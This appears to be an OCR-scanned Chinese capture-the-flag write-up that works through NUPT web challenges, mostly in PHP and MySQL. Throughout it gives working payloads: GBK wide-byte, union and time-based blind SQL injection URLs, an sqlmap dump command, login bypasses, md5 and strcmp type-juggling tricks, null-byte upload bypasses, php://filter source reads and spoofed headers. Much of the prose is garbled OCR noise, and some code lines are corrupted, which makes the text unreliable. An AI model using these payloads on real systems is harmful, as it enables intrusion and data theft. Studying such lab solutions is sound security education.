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nctf{fflag_admiaanaaaaaaaaaaa}

ctri+usi A B EFIRICSEN AT . ECTFLLSEH, AEERE. WHEEUTR . BERER0HEAARE. HTTPmM
SKERER ] RE R flagBiR B B . EBEMRXF, THRHEE THZ RERMUA R EA I HaERELR.

md5 collision
nctf{md5_collision_is_easy}
<?php
$md51 = md5('QNKCDZO');

$a = @_GET['a'];
$md52 = @md5(%$a);

if(isset($a)){

if ($a != 'QNKCDZO' && $md51 == $md52) {
eChO "nCt'F{*****************}";

} else {
echo "false!!l";

3

else{echo "please input a";}
?>

FIFPHPES KA, AIAK

Imd5('QNKCDZO')="0e830400451993494058024219903391', md5('240610708')='0e462097431906509019¢
T B A A5 P A i bl A %

#, var_dump('0e830400451993494058024219903391'=="0e462097431906509019562988736854) /& N &,
Wi http://chinalover.sinaapp.com/web19/?a=240610708 B ¥ ,

i 1] | 3



https://blog.csdn.net/weixin_34406086
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%2595%25B0%25E6%258D%25AE%25E5%25BA%2593&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%2593%258D%25E4%25BD%259C%25E7%25B3%25BB%25E7%25BB%259F&t=blog&o=vip&s=&l=&f=&viparticle=
http://www.cnblogs.com/findneo/p/nupt-ctf-writeup.html
https://findneo.github.io/170924NuptCTFWP/
http://chinalover.sinaapp.com/web1/
http://chinalover.sinaapp.com/web19/

« TEPHPH, @#FR S R T2 K 1E R (error control operator), &1 B @FF 5 R IE 7= 4 KT AT 45 R AR K 4 2.
lﬂﬁo

2. 1992¢E R ATKIMDS S LR — ) I RIS A 5i%, BAISBTH RRIE IS H %, EPEEN S 24 )5 R b
FSRASEE S AL . MDSSREZNTE B 128 2, WRR A0+ Bkl 8, H[0-9a-e]AH .

3. PHPHI LB AR LB PR — BB ™k i, T REA T equal(==)flldentical(===)Ff %,
FEX HE T H S LBTRTE_ET SO R E S T A 0 (type juggling)i & AL . XFhjuggleis ik
YR KT8, EEES .

b Rk R R/ B BUE A BB . BB ARSI 45 &5 7 S0, BRATATCLSS ok, XFhRBE B 4T
RRBAETH A, —RAWFEZESERE LT HFIEE(n a numeric context), — RN AT B EE K 715 5
EX{EO

HBRIER A==0, FF - MRELNInt/float BN RIES s numeric () AR, WHK LT HTE
B HEAERANBTREN, W/ <0, MAWOAETHFER. EBOVEBRSRF TR AREN, KKK
o D

WHEPHPE 77 308 , MR —ANFRERINELTHFIEE, B EHBUERR T2/ RN —#89, R
TP DA R B R HHE [Valid numeric data , IERIIGECRIEN \s (\d+\.2\d* | \.\d+) ([eE]\d+) ?\s,
A [eEI R AT EE)Y Tk, BAFFRIUFLITHHEE, SNEO « LR e U BE 1A 2
0, XA HFTE (

<?php

$al=1; $b1="1"; $c1="1padding";
$a2=.1; $b2=".1"; $c2=".1padding";
$a3=1.; $b3="1."; $c3="1.padding";
$a4=1.1; $b4="1.1"; $c4="1.1padding";
$a5=1.el; $b5="1.el"; $c5="1.elpadding";
$ab6=.1el; $b6=".1el"; $c6=".1lelpadding";
$a7=1.1el; $b7="1.1el"; $c7="1.1lelpadding";
$a8=1el; $b8="1e1"; $c8="1lelpadding";

var_dump ($a8==$b8);//true
var_dump($a8==$c8);//true
var_dump ($b8==$c8);//false
var_dump ($a8+$b8);//float(20)
var_dump($a8+$c8);//float(20)
var_dump ($b8+$c8);//float(20)

4, HAFE/0eE1\d{30}/HKIMD5/H:

string(strlen($var)) $var string(strlen(md5($var))) md5($var)

QNKCDZO 0e830400451993494058024219903391
s878926199a 0e545993274517709034328855841020
$155964671a 0e342768416822451524974117254469
s$1502113478a 0e861580163291561247404381396064
$214587387a 0e848240448830537924465865611904

s878926199a 0e54599327451770903432885584 1020


http://php.net/manual/en/language.operators.errorcontrol.php
https://en.wikipedia.org/wiki/Length_extension_attack
http://php.net/manual/en/language.types.type-juggling.php
https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf
http://php.net/manual/en/language.types.string.php#language.types.string.conversion
http://php.net/manual/en/language.types.string.php#language.types.string.conversion

string(strlen($var)) $var string(strlen(md5($var))) md5($var)

$1091221200a 0e940624217856561557816327384675
s$1885207154a 0e509367213418206700842008763514
$1836677006a 0e481036490867661113260034900752
s$1184209335a 0e072485820392773389523109082030
$1665632922a 0e731198061491163073197128363787
s532378020a 0e220463095855511507588041205815
240610708 0e462097431906509019562988736854
Z32

<html>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

MR B RO SR

<form action="./index.php" method="post">
<p>HIAME: <input type="password" value="" name="textl" maxlength="10"><br>
EHA D4 zhimakaimen
<input type="submit" value="7F{7">

</form>

</html>

nctf{ffollow_me_to_exploit}

maxlength="10"Ti 14 zhimakaimen F 114z, WA RN SPEL . X APMEEE, —FRE
chrome/Firefox % 2% (17T & & T B #K maxlength="10" #B& 5N maxlength="11" 82 ¥E KKIME; B—F2
{ Flhackbarskburp E#7) http://teamxlc.sinaapp.com/web1/02298884f0724c04293b4d8c0178615e/index.php
post text1=zhimakaimen . & 4 BIAT AR AT #81, B ARGEHTMLAFIJavaScript2 EZ ).

XEA R WEB

nctf{photo_can_also_hid3_msg}

THRE R IHHAwinhexdT7F, EREBRAFHEH. —MHAKRE.
53 =9": b1

nctf{this is_a fl4g}

BEVERNY, R, KK ASO.html -> S0.html->SO.htm ->S0.htm->404.html , fEEJE—RIHE
BEERES SR Eflag. BREFFEMRGE, AO0MSKIRE .

AAencode

nctf{javascript_aaencode}

aaencodef — M EjsRiS g5 a HiBEBUCF i 3, FHUnicodemisEE, A LML . TRAEHB
B HYERIR

My 4


http://teamxlc.sinaapp.com/web1/02298884f0724c04293b4d8c0178615e/index.php
http://chinalover.sinaapp.com/web2/index.html
http://chinalover.sinaapp.com/web3/
http://chinalover.sinaapp.com/web20/aaencode.txt
http://tool.isex.ren/aadecode
http://chinalover.sinaapp.com/web8/

nctf{yougotit_script_now}

Vi [ http://chinalover.sinaapp.com/web8/search_key.php 4% & 5 [ 3
http://chinalover.sinaapp.com/web8/no_key is_here forever.php , &AL N K 2S B4, burpdlaml
a] W.flag.

R AR B R

HRAE M google SR ?
i B S = 6 %

nctf{http_referer}

BiERM Ereferer: https://www.google.comBIH,
Mhttps://github.com/otakekumi/NUPT _Challenges/blob/master/WEB/%E4%BD%A0%E4%BBY%8E%E5%93%
B BIFEACRS F] B A i) R

4 1 | 3

<?php

$referer = $_SERVER[ 'referer'];

if ($referer === "https://www.google.com/ " || $referer === "https://www.google.com"){
echo "nctf{http_referer}";

}else{
echo "are you from google?";

B ATRI%RSreferer = $ SERVER['HTTP_ REFERER']; ?

php decode

<?php
function CLSI($ZzvSWE)

{
$ZzvSWE = gzinflate(base64_decode($ZzvSWE));

for ($i = 0; $i < strlen($ZzvSWE); $i++) {
$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);

}
return $ZzvSWE;}

echo CLsI("+7DnQGFmYVZ+eoGmlg@fd3puloZlfkppeklGdVZhQnISSZq5aUImGNQBAA==");

nctf{gzip_base64_hhhhhh}
BATARSED T,

XHEE

nctf{edulcni_elif lacol_si_siht}

1 FPHPHIfilterth il i Btindex.php, BiiJi 1] htfp://4.chinalover.sinaapp.com/web7/index.php?
file=php://ffilter/convert.baseb4-encode/resource=index.php , #15 Z ¥ 1% & baseGAFERY .


http://chinalover.sinaapp.com/web22/
http://chinalover.sinaapp.com/web22/
http://4.chinalover.sinaapp.com/web7/index.php
http://php.net/manual/en/wrappers.php.php#wrappers.php.filter

BRE—HEHBEH

nctf{this is302redirect}
flagiel 7E i B3k 5
Download~!
nctf{download _any file 666}

Vi http.//way.nuptzj.cn/web6/download.php ?url=base64-of-file-name 7] LA F 8% fo ¥ T HAE R, Arbldk
T#idownload.php, 15§%|H 4 #53& B F hereiskey.php, F T # Tkut ] Wflag.

COOKIE

nctf{cookie is_different_from session}

FEmN kA set-Cookie: Login=0, HMFEEFERLIMACookie: Login=1B1%],
MYSQL

nctf{query _in_mysql}

WRIEIR N E Frobots.txt, WAMWT

TIP:sql.php
<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1824) {
echo "<p>no! try again</p>";
}
else{
echo($query[content]);

}

?>

YA E Msql.phpie X —ANid, #Bintval ($ GET[id]) N10241$ GET[id]==1024KM. intvalillZ|dE
BB —AL, TN ECEL AT I SR R B B e AR R ATHBUE R — B 0 A0 B, BrDARTBAR
Xid=1024e1%, MiMhttp://chinalover.sinaapp.com/webll/sql.php?id=1024el.

1. robots txt7] BEiEA R

2. int intval ( mixed $var [, int Sbase = 10 1 ) RE/\d*/H#5-

sql injection 3

nctf{gbk _3sqli}


http://chinalover.sinaapp.com/web9/
http://way.nuptzj.cn/web6/
http://chinalover.sinaapp.com/web10/index.php
http://chinalover.sinaapp.com/web11/
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1

SRl 1id=2f1d=31/8F#~"gbk sqgl injectionfthe fourth table, R REERFZTHEN, flag
HEENALRET. Esqmapii—, &5 RIXF:

python sqglmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%d6'" -T ctf4 -C flag --dump

WA PAFE:
BBR—: WANZEFEEEAN

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2 #
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2%d6%27--+

IR B 45 R AR T

B FMySQLIAT B I S B 7/, T 1d=2%d6%27--+ Zid% U ANid=2%d6%5c%27--+ ,
Hrh%deksciE A 7E — MR, HHRid = 20" -- BEREMT id = '2'--, ERINKETHITsqLBPZ.

PR BHBEES

EOZFunion®E#H
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2%d6%27+and+0+union+select+null,database()--+
, ZFE mand+e+2ZFEAERRERE — 4, BALLFERMERRW. BRHIEESL N sae-chinalover'.

SB=. &4 N'sae-chinalover I HIEENEHHEMNL F

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2%d6'+and+0+union+select+null, count(*)+from+informatio

B2 B AR E AR SRR

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2%d6"'+and+@+union+select+null,table_name+from+informat

BEENKRRELR ctfa’
MySQLHIinformation_schema$i#E E A& PIA HEENTLER, EFtablesROEHMBIBENBIBESL . K4L . REE. QIR
limit R IXPELIMIT {[offset,] row_count | row_count OFFSET offset}, WZifi#fEwhere/sifi.

BB &#R ctfd' Hflag

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2%d6"'+and+0+union+select+null, count (*)+from+ctfs4--+

RMEERE—FEFR
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2%d6"'+and+0+union+select+null,flag+from+ctfd--+

BMF 4% Rflag, EHREIflag

Mt — A select?r #)iE 1


https://dev.mysql.com/doc/refman/5.7/en/select.html

SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT JOIN]
[SQL_SMALL_RESULT] [SQL_BIG RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS ]
select_expr [, select_expr ...]
[FROM table_references
[PARTITION partition_list]
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]

/x00
nctf{use00to_jieduan}
RS EI AT

if (isset ($_GET['nctf'])) {

if (@ereg ("~[1-9]+$", $ _GET['nctf']) === FALSE)
echo 'WIIANBEAAT";

else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);

else

echo 'BREE, 4KSEFE SRR~

BRI BInctifE 77 A& IE W DL S (— N ERZ AN 32 ) FF B RE#listrpos#k Bl #biubiubiu , RIERRNEEIE Klereg
SAENUIRE A Z B SR, T8 %008 W, Tiistrposil 7] BLikid %00, B L3R
Rnctf=1%00%23biubiubiubfd],

SHETHR

1 T 2EPHP i string B Se A B b 2 — AN DS B O SR AL b — A7 I X KBS RO, R testring K2
A AHAEATEM R, BIfER“NUL bytes”, (HPHPHELREE (LLCiEFMHERK, FEANCHES P\OARiRFRFH
RIS HR) 2= Z8%"a NUL byte"f5 I IEHE, (T ixX L 2 [ 5k Bt & 3E = 3 #1222 ) (non-binary-safe), eregih
R—MF. WELWET —TRAEFX L — LR
e intstrcoll ( string $str1, string $str2 )
Locale based string comparison (when current locale is not C or POSIX)

¢ public array TokyoTyrantTable::get ( mixed $keys )
Gets a row from table database. (version>0.3.0)


http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php
https://github.com/VulnHub/ctf-writeups/blob/master/2015/boston-key-party/bringham-circle.md
http://php.net/manual/en/language.types.string.php#language.types.string.details
https://www.google.com/search?q=%2522not+binary+safe%2522+or+%2522not+binary-safe%2522+site%253Aphp.net%252Fmanual%252Fen%252F

¢ public Exception::__construct ([ string $message ="" [, int $code = 0 [, Throwable $previous = NULL ]] )
Construct the exception . HH Xtmessage b3 & I i il &1 .

e public Error::__construct ([ string $message ="" [, int $code = 0 [, Throwable $previous = NULL ]]] )
Construct the error object . HH Xtmessage i b3 =& Ik =i il &1 .

¢ bool error_log ( string $message [, int Smessage_type = 0 [, string $destination [, string $extra_headers ]|] )
Sends an error message to the web server's error log or to a file.. HF ¥tmessageff) kb3 &k — i #%4H. (error_log()
is not binary safe. message will be truncated by null character.)

¢ boolradius_put_string ( resource $radius_handle , int $type , string $value [, int Soptions =0 [, int $tag 1] )

Attaches a string attribute. F H $valuefBZEF o nulBE B RERE, RIEZHHIZEM.

¢ boolradius_put_vendor_string ( resource $radius_handle , int $vendor , int $type , string $value [, int $options =0 [, int $tag

1)
Attaches a vendor specific string attribute . $valueZ3F — 3t 2241 .

e string addcslashes ( string $str, string $charlist) (1£5¢, IFHAE)
Quote string with slashes in a C style. Returns a string with backslashes before characters that are listed in charlist
parameter.

e array gZile ( string $filename [, int $use_include_path=0]) (F4¢, FHRKIE)
Read entire gz-file into an array

o BHIXE

<?php

$s=$_REQUEST['a']; // http://localhost/test.php?a=asd%00asdf

$p="asdf";

var_dump(ereg_replace($p, "abcc',$s)); //string(3) "asd"
var_dump(eregi_replace($p, 'abcc',$s));//string(3) "asd"
var_dump(ereg($p,$s));//bool(false)

var_dump(eregi($p,$s));//bool(false)

var_dump(split($p,$s));//array(1) { [0]=> string(8) "asd\@asdf" }
var_dump(split($p,$s));//array(1) { [0]=> string(8) "asd\@asdf" }
var_dump(sql_regcase($s)); //FEREHBEM. . . string(29) "[Aa][Ss][Dd]\@[Aa][Ss][Dd][Ff]"
// ereg_replace — Replace regular expression

// ereg — Regular expression match

// eregi_replace — Replace regular expression case insensitive

// eregi — Case insensitive regular expression match

// split — Split string into array by regular expression

// spliti — Split string into array by regular expression case insensitive
// sql_regcase — Make regular expression for case insensitive match

nctf{php_is_so_cool}
Uy 6] 15 2| YRS

if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] !'= $_GET['b'])

if (md5($_GET['a']) === md5($_GET['b']))
die('Flag: '.$flag);
else

print 'Wrong.';

}


http://chinalover.sinaapp.com/web17/index.php

TR BRI AN A E RE AT mASE ™A% A . md5() R B E R B — N2/, BiEiSEE—A
H, M<RENUll, Blvar dump (md5 (array (2))===null) ;{iAbool (true) , FA$ GETHHAfEN
P& Aa. bR HER A, NMSFBmdS()REZ, TRERflag, W5
http://chinalover.sinaapp.com/web17/index.php?a[]=&b[]=1

REB
nctf{bian liang fu_gail}

source.phpiZ ARSI~

<?php
if ($_SERVER["REQUEST METHOD"] == "POST") {
extract($_POST);
if ($pass == $thepassword 123)
echo $theflag;
}

extract)R#EAAint extract (array &$var array [,int Sextract type=EXTR OVERWRITE

[,string $prefix = NULL]]) , MBAPKRZEFALEHF SR, sextract typeBREEN1, HEH
RAMEE, RBEKERZCAETE, MENTREpassfl 5z H% Kthepassword_123B07] . HSERATEZE 7] A
mitheflag® &, HEXHEMREARTEIEMfagT D. source.phpfl &IREIG .,

PHPR S LR IFHIES
nctf{php_is_best language}
index.txtiZ O ARAG W R

<?php

if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");

exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{

echo "<p>Access granted!</p>";
echo "<p>f1ag: *****************} </p>";

}

MWL S A hacker DIRIRE (BIEK/NE), {HE:Zurldecodefi NhackerDIWFZRFER, A AR HE
Fmts, RGN 25 EIRAT, BIMEE—IRE2258 N RS BHFEE —R)EESZflag. BT
http.//way.nuptzj.cn/php/index.php ?2id=%2568%2561%2563%256b%2565%2572%2544%254a iX &~ — IR 4
i 1 1) R

B

R ERGE R T
REE bk IR


http://chinalover.sinaapp.com/web18/index.php
http://way.nuptzj.cn/php/index.php
http://www.w3school.com.cn/tags/html_ref_urlencode.html
http://chinalover.sinaapp.com/web4/xxx.php

nctfthappy_htto_headers}

referertt 7T ¥ A, ERIERLBMX-Forwarded-For: 127.0.0.1808, %ARI, WK RALAE H
B, ] RERR AR N ER B SRARRE — R ) . XFFLA LM ER P im BESLIP, &AM HAHTTP RE S At
AR 55 B o

header

nctf{tips_often_hide_here}

£ F chrome ) %5 28 1 0T % & B 7T LAE B AR B 80 B Sk B A flag 7 Bt, FHAEEflag.
it 3 30)

B E M FHEAREASH

nctf{welcome _to_hacks world}

Hfilename A 1.jpght iR B 40T :

Array
(
[e] => .jpg
[1] => jpg
)

Upload: 1.jpg<br />Type: text/plain<br />Size: 0.0078125 Kb<br />Stored in: ./uploads/8a9e5f6a7a789acb.ph
["dirname"]=>
string(9) "./uploads"
["basename"]=>
string(5) "1.jpg"
["extension"]=>
string(3) "jpg"
["filename"]=>
string(1) "1"
}
<br> W EAE RS2 NphpRISCHEA1THI ! <br></body>

Xfilename A 1.phphit iR B 41 F

Array
(
[@] => .php
[1] => php
)

ARSI RE, SR B2 jpg, gif, png/a RIS


http://way.nuptzj.cn/web5/
http://teamxlc.sinaapp.com/web5/21232f297a57a5a743894a0e4a801fc3/index.html

S EAE<br><br>

<form action="upload.php" method="post"
enctype="multipart/form-data">

<label for="file">Filename:</label>

<input type="hidden" name="dir" value="/uploads/" />
<input type="file" name="file" id="file" />

<br />

<input type="submit" name="submit" value="Submit" />
</form>

B JE iz dirfifilei® s, B PATT LLE 2 et Rdirfvaluesk SEELET L% . BIME G

/uploads/HN/uploads/1.php0x00, REfileffFFl. jpg, ERREFEME/uploads/1.phps001.pg,
MBESHE T B4 BWAIEX B&ETPHPEZK X, (OX00RIBEH 163 HIE, A H. )

sqliEA1

W S8 ARt 2N 2
Huhk. R E bk

nctf{ni_ye hui_sql?}
#£ http://chinalover.sinaapp.comvindex.phps &I, BOEHITF:

<?php
if($_POST[user] & $ POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = trim($_POST[user]);
$pass = md5(trim($_POST[pass]));
$sql="select user from ctf where (user='".$user."') and (pw='".$pass.""')";
echo '</br>'.$sql;

$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") {
echo "<p>Logged in! flag:**rx¥kkkkirirssstkssr ¢ /pst,

}

if($query[user] != "admin") {
echo("<p>You are not admin!</p>");

}

}

echo $query[user];

SSMEANSE WL, REsqPtENT
Ssgl="select user from ctf where (user='".Suser."') and (pw='".Spass."')";,

FrUl RERMiE— TuserffE, (EEELIR, REEREEHKET. MySQLEZER =FMERT X #iEERT
B, /*blax/HATATHBRSITER, —-BRERITE, BEREERNREN MRS EHEDLEFT —Ms,
BT, TAB, BATHE.

FrAA @i n]post user=admin') -- -&pass=1238user=admin') #s&pass=123,


http://chinalover.sinaapp.com/index.php

sQiEAt L Hiselect user from ctf where (user='admin')#' and (pw='123"),
BEWHIEA LR IIIR Fluserd, {8 ~adminf#B&icTk.
pass check

nctf{stremp_is_nOt_3afe}

<?php

$pass=@$_POST[ 'pass'];
$passl=***********;//%Szl&%;}ﬁf@ﬂéﬁﬁ%ﬁ%
if(isset($pass))

{

if(@!strcmp($pass,$passi)){

echo "flag:nctf{*}";

}else{

echo "the pass is wrong!";

}
}else{
echo "please input pass!";

}

?>

ZZEPHPIZER, MPHPH: X SRS AR T DL Blstremp R BE LB R, BN NS, B4R EINull. (BF
—NMBEEERBRNRLE N EREKEANORN, REIFZELEMBEANFZRFEKERZE. )BTLlposti $iiE
y\]pass[]=

[SEZES W

nctf{follow_your dream}

<?php
function noother_says_correct($number)
{
$one = ord('1");
$nine = ord('9');
for ($i = @; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388";
}

$-F1ag= Tokkkskkkk ! ;
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied’;
?>


http://chinalover.sinaapp.com/web21/

BERE ANkey ML E1-9], (H X% F54975581388, HiE#+NidtHl, KI54975581388=0xcccccecccc,
Rk i http://chinalover.sinaapp.com/web12/index.php ?key=0xcccccecece
FKHESR

HEEEHRKS: admin KFY
PRERESIEEEZ G WA R T X4 —3 B B 50 KRG
oy i R B R Y

nctf{reset password often_have vuln
B E B # RN URLMPOST Hxf 2 yadmintl < K B AT

BTl http://nctf.nuptzj.cn/web13/index.php?user1=YWRtaW4%3D post
user=admin&newpass=aaaaa&vcode=1234 .

phpi 7 %14k,

<?php
class just4fun {
var $enter;
var $secret;
}
if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
if(get_magic_quotes_gpc()){
$pass=stripslashes($pass);

}
$0 = unserialize($pass);
if (%0) {
$0->secret = "*";
if ($o->secret === $o0->enter)
echo "Congratulation! Here is my secret: ".$o->secret;
else
echo "Oh no... You can't fool me";
}

else echo "are you trolling?";

BEERAY, AMBRIITEE . RFFL)EKsecret il BB TR A KB ZE R 57— B Renter i 5 2 A,
WE T XEE R 4—H)

Circular references inside the array/object you are serializing will also be

stored,

VN KB A5 FTEF SR i 24, BT b Renterds secretifI 51 A, BIANARR FOE L 7T LA E) 2528 4k
I


http://nctf.nuptzj.cn/web13/index.php?user1=Y3RmdXNlcg%253D%253D
http://115.28.150.176/php1/index.php

<?php

class just4fun{
var $secret;
var $enter ;

}

$f=new just4fun();
$f->enter=&%$f->secret;
$sf=serialize($f);
print_r($sf);
$usf=unserialize($sf);
echo '<br/>';
print_r($usf);

T

0:8:"just4fun":2:{s:6:"secret";N;s:5:"enter";R:2;}
just4fun Object ( [secret] => [enter] =>)

Vi Al
http://127.0.0.1/nanyou.php?pass=0:8:%22just4fun%22:2:
{s:6:%22secret%22;N;s:5:%22enter%22;R:2;}

KR o
AMALE BlflagAnctf{serialize and unserialize}
sql injection4

ARERIE NI~

& H Huhk

TIPS RHAL AT L SR L
A E AR R B

nctf{sql_injection_is_interesting}

TR AR R A SQLIIE T5


http://chinalover.sinaapp.com/web15/index.php

#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php’;

function clean($str){
if(get_magic_quotes_gpc()){

$str=stripslashes($str);

}
return htmlentities($str, ENT_QUOTES);

$username = @clean((string)$_GET['username']);

$password = @clean((string)$_GET[ 'password']);

$query="SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\"';";
$result=mysql_query($query);

if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');

echo $flag;

B E$iRhtnlentities ($str, ENT QUOTES) , HHREAERZIXH

string htmlentities ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_g

S HiflagsB BB T 5Sf1lags=ENT QUOTESIEN FREUT AR,
M NENT QUOTESEfWill convert both double and single quotes,

WY, WEASKRISHEMEES. RMNURLBRETES S, NNEEREQEZLER, BRRT
FHRARS S, BUHKES S,

Yilhttp://chinalover.sinaapp.com/webl5/index.php?

username=\&password=%200r%201%23,

Wt 2 i&Epayload’ N 2username=\ &password=%200r%201%23 , HEEEMEAUWT:

SELECT * FROM users WHERE name='\"' AND pass='%200r%201%23"

Bp

SELECT * FROM users WHERE

name='\"' AND pass=' [ [name]HI{EN [' AND pass=] , BARBEfH ANfalse |
or 1 [ HEXKR, [false or 1] HIZHEMENE]

#' [ BREZRNESS |

Bp

select * from users where false or 1

B -
HAkgntg 77 Xl



print r(get html translation table($table =HTML ENTITIES, $flags=ENT QUOTES)) &

E‘;

ENT_COMPAT | ENT HTML401 ENT_QUOTES
[&] => &amp; [&] => &amp;
["] => &quot; ["] => &quot;
(<] => &lt; ['] => &#039;
[>] => &gt; [<] => &lt;
[>] => &gt;
3£1004 3£1014

Zad
nctf{bash_history_means_what}

1. ViSRS B — KB sfuckfRig, M#i/E#A
Fldocument .write ("1bc29b36£623ba82aaf6724£d3b16718.php") ;

2 ~ -‘ij‘ ]‘nj
http://teamxic.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/1bc29b36f623ba82aaf6724fd3b1671.
EHTTPm N L1838 ~Rtip:history of bash;

4 [T | 3

3. Vil http://teamxic.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/.bash_history , & 2| R TH A
& Nzip -r flagbak.zip ./*;

4. Vil http://teamxic.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/flagbak.zip 15 Elflag.
sql A2

ENGE Zf~~FE EEZunionf if]
FBIET T B R K

ntcf{union_select is_wif}

index/phps A IFELIT


http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/index.php
http://4.chinalover.sinaapp.com/web6/index.php

<?php
if($_POST[user] & $ POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query(“"select pw from ctf where user='$user'"));

if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "<p>Logged in! Key: ntcf{**¥*¥*xxxdkxxxl ¢/p>";

}

else {
echo("<p>Log in failure!</p>");

}

?>

D]

var_dump(!strcasecmp(array(), $query[pw]));//bool(true)
var_dump(!strcasecmp(md5(array()), $query[pw]));//bool(false)

Bt LA e passfE A AL it 2. AP BRE LT Suser FEEN, HEMBRARZ. HRRET
mRGER B E. EERBI=Z/ARE, mid(), if()fsleep():

MID(str,pos,len)

/¥ EERpos M1 A RO 4H, Return a substring starting from the specified position*/
IF(exprl,expr2,expr3)

/*If exprl is TRUE (exprl <> © and exprl <> NULL), IF() returns expr2. Otherwise, it returns expr3.*/
SLEEP(duration)

/*Sleeps (pauses) for the number of seconds given by the duration argument, then returns ©.If SLEEP() is

Fit LA & post i 4&

user=admin' and if(mid(pw,1,1)>'9"',sleep(2),1)#&pass=blabla

WL () ME M expr1 IEH, THMMMSENFHD, SUAS, PACAKIERH Z 5%,
pwFBHIEEE RN/ [\da-e]/,
B FEBAEN21dd715a3605b2a4053e80387116¢190, Bmd5 ('njupt')

R JEpostuser=admin&pass=njuptBiA.


https://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_mid
https://dev.mysql.com/doc/refman/5.5/en/control-flow-functions.html#function_if
https://dev.mysql.com/doc/refman/5.5/en/miscellaneous-functions.html#function_sleep

index.phpsiEIE .

B A —FE R EE, Bpostin T 4UE
user=" union select '45cf93bd4f762c6597b68e615b153bd0 ' #&pass=findneo

Horh ' 45c£93bd4f762c6597b68e615b153bde ' Bimds (' findneo')

RARHEE AR REFBXMUIERY, BB SRR EE LR EAE .

JExssil {H R WM E &~
Hiht: get the flag

flag:nctf{you are s0 g00d hacker}

WL HECT FF & 256 & 2writeup

FEANELER—
& 18 Hfirefoxitl %82, HZFhackbariift (BT HEHFAR)
Hirmhk: Huhk

flag A& H RS HI326Imd5 (/N5 )
3 B i _Enctf{}

FHEHERER AT
EARERIE 8478 B "mysqlFShiEN"E A E

PS:HsqimapZ T EMMMAEER LR T

BHSMIR T, A 4ct10n HIfEZIE,

it AE L EBSCmarketing24
SR JE FEmd5 N A% f3d6cc916d0739d853e50bc92911dddb
flag: nctf{f3d6cc916d0739d853e50bc92911dddb}

FWEE2


http://cms.nuptzj.cn/
https://findneo.github.io/2017/10/nupt-zonghe2/
http://www.backstagecommerce.ca/services.php?id=4
http://blog.csdn.net/qq_31481187/article/details/52097287#t33

BEKY, HANBREAFRT!
AR TFCUMT
15 B

TIPS:

1 EE AR ME — TR L3k 3

2linux T — R AvVigeiERS, FHRERHSE T &0
3.9 A bypass

nctf{thanks to_cumt_bxs}
1. HRER, EEPEREHEZBAE Nadninenuptzi.cn s
2. wget http://nctf.nuptzj.cn/webl4/.submit.php.swp ;

3.

if(!'empty($token)&&!empty($emailAddress)){

if(strlen($token)!=10) die('fail');
if($token!='0") die('fail');
$sql = "SELECT count(*) as num from “user’ where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){

echo $flag;
}else{

echo "R THF";
¥

